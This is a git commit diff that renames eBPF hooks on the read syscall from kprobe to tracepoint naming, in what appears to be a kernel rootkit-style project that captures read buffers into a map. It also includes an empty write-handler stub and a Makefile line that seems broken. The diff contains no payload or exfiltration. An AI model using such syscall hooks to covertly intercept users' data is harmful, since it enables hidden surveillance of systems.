Updated function and configurator manager names to the used hook.

This commit is contained in:
h3xduck
2022-01-26 13:04:23 -05:00
parent 9b366810b5
commit 2b50d376a6
9 changed files with 758 additions and 756 deletions

Binary file not shown.

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@@ -104,5 +104,5 @@ $(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) $(USER_INCLUDES_OBJ) | $(OUTPUT)
.DELETE_ON_ERROR: .DELETE_ON_ERROR:
# keep intermediate (.skel.h, .bpf.o, etc) targets # keep intermediate (.skel.h, .bpf.o, etc) targets
.SECONDARY: SECONDARY:

Binary file not shown.

View File

@@ -41,7 +41,7 @@ struct sys_read_enter_ctx {
size_t count; size_t count;
}; };
static __always_inline int handle_sys_read(struct sys_read_enter_ctx *ctx, int fd, char* buf){ static __always_inline int handle_tp_sys_enter_read(struct sys_read_enter_ctx *ctx, int fd, char* buf){
__u64 pid_tgid = bpf_get_current_pid_tgid(); __u64 pid_tgid = bpf_get_current_pid_tgid();
__u32 pid = pid_tgid >> 32; __u32 pid = pid_tgid >> 32;
struct fs_open_data data = { struct fs_open_data data = {
@@ -54,12 +54,16 @@ static __always_inline int handle_sys_read(struct sys_read_enter_ctx *ctx, int f
return 0; return 0;
} }
static __always_inline int handle_sys_write(struct sys_read_enter_ctx *ctx, int fd, char* buf){
}
/** /**
* @brief Receives read event and stores the parameters into internal map * @brief Receives read event and stores the parameters into internal map
* *
*/ */
SEC("tracepoint/syscalls/sys_enter_read") SEC("tp/syscalls/sys_enter_read")
int kprobe_ksys_read(struct sys_read_enter_ctx *ctx) { int tp_sys_enter_read(struct sys_read_enter_ctx *ctx) {
struct sys_read_enter_ctx *rctx = ctx; struct sys_read_enter_ctx *rctx = ctx;
if (ctx == NULL){ if (ctx == NULL){
bpf_printk("Error\n"); bpf_printk("Error\n");
@@ -68,7 +72,7 @@ int kprobe_ksys_read(struct sys_read_enter_ctx *ctx) {
int fd = (int) ctx->fd; int fd = (int) ctx->fd;
char *buf = (char*) ctx->buf; char *buf = (char*) ctx->buf;
return handle_sys_read(ctx, fd, buf); return handle_tp_sys_enter_read(ctx, fd, buf);
} }
/** /**
@@ -78,8 +82,8 @@ int kprobe_ksys_read(struct sys_read_enter_ctx *ctx) {
* values. * values.
* *
*/ */
SEC("tracepoint/syscalls/sys_exit_read") SEC("tp/syscalls/sys_exit_read")
int kretprobe_vfs_read(struct sys_read_exit_ctx *ctx){ int tp_sys_exit_read(struct sys_read_exit_ctx *ctx){
__u64 pid_tgid = bpf_get_current_pid_tgid(); __u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){ if(pid_tgid<0){
//bpf_printk("Out\n"); //bpf_printk("Out\n");

View File

@@ -8,30 +8,30 @@
#include "kit.skel.h" #include "kit.skel.h"
//Connections //Connections
int attach_kprobe_ksys_read(struct kit_bpf *skel){ int attach_tp_sys_enter_read(struct kit_bpf *skel){
skel->links.kprobe_ksys_read = bpf_program__attach(skel->progs.kprobe_ksys_read); skel->links.tp_sys_enter_read = bpf_program__attach(skel->progs.tp_sys_enter_read);
return libbpf_get_error(skel->links.kprobe_ksys_read); return libbpf_get_error(skel->links.tp_sys_enter_read);
} }
int attach_kretprobe_vfs_read(struct kit_bpf *skel){ int attach_tp_sys_exit_read(struct kit_bpf *skel){
skel->links.kretprobe_vfs_read = bpf_program__attach(skel->progs.kretprobe_vfs_read); skel->links.tp_sys_exit_read = bpf_program__attach(skel->progs.tp_sys_exit_read);
return libbpf_get_error(skel->links.kretprobe_vfs_read); return libbpf_get_error(skel->links.tp_sys_exit_read);
} }
int attach_fs_all(struct kit_bpf *skel){ int attach_fs_all(struct kit_bpf *skel){
return attach_kprobe_ksys_read(skel) || attach_kretprobe_vfs_read(skel); return attach_tp_sys_enter_read(skel) || attach_tp_sys_exit_read(skel);
} }
int detach_kprobe_ksys_read(struct kit_bpf *skel){ int detach_tp_sys_enter_read(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.kprobe_ksys_read); int err = detach_link_generic(skel->links.tp_sys_enter_read);
if(err<0){ if(err<0){
fprintf(stderr, "Failed to detach fs link\n"); fprintf(stderr, "Failed to detach fs link\n");
return -1; return -1;
} }
return 0; return 0;
} }
int detach_kretprobe_vfs_read(struct kit_bpf *skel){ int detach_tp_sys_exit_read(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.kretprobe_vfs_read); int err = detach_link_generic(skel->links.tp_sys_exit_read);
if(err<0){ if(err<0){
fprintf(stderr, "Failed to detach fs link\n"); fprintf(stderr, "Failed to detach fs link\n");
return -1; return -1;
@@ -40,7 +40,7 @@ int detach_kretprobe_vfs_read(struct kit_bpf *skel){
} }
int detach_fs_all(struct kit_bpf *skel){ int detach_fs_all(struct kit_bpf *skel){
return detach_kprobe_ksys_read(skel) || detach_kretprobe_vfs_read(skel); return detach_tp_sys_enter_read(skel) || detach_tp_sys_exit_read(skel);
} }
#endif #endif

View File

@@ -14,8 +14,8 @@ module_config_t module_config = {
}, },
.fs_module = { .fs_module = {
.all = ON, .all = ON,
.kprobe_ksys_read = OFF, .tp_sys_enter_read = OFF,
.kretprobe_vfs_read = OFF .tp_sys_exit_read = OFF
} }
}; };
@@ -57,8 +57,8 @@ int setup_all_modules(){
if(config.fs_module.all == ON){ if(config.fs_module.all == ON){
ret = attach_fs_all(attr.skel); ret = attach_fs_all(attr.skel);
}else{ }else{
if(config.fs_module.kprobe_ksys_read == ON) ret = attach_kprobe_ksys_read(attr.skel); if(config.fs_module.tp_sys_enter_read == ON) ret = attach_tp_sys_enter_read(attr.skel);
if(config.fs_module.kretprobe_vfs_read == ON) ret = attach_kretprobe_vfs_read(attr.skel); if(config.fs_module.tp_sys_exit_read == ON) ret = attach_tp_sys_exit_read(attr.skel);
} }
if(ret!=0) return -1; if(ret!=0) return -1;

View File

@@ -25,8 +25,8 @@ typedef struct module_config_t{
struct fs_module { struct fs_module {
char all; char all;
char kprobe_ksys_read; char tp_sys_enter_read;
char kretprobe_vfs_read; char tp_sys_exit_read;
}fs_module; }fs_module;
} module_config_t; } module_config_t;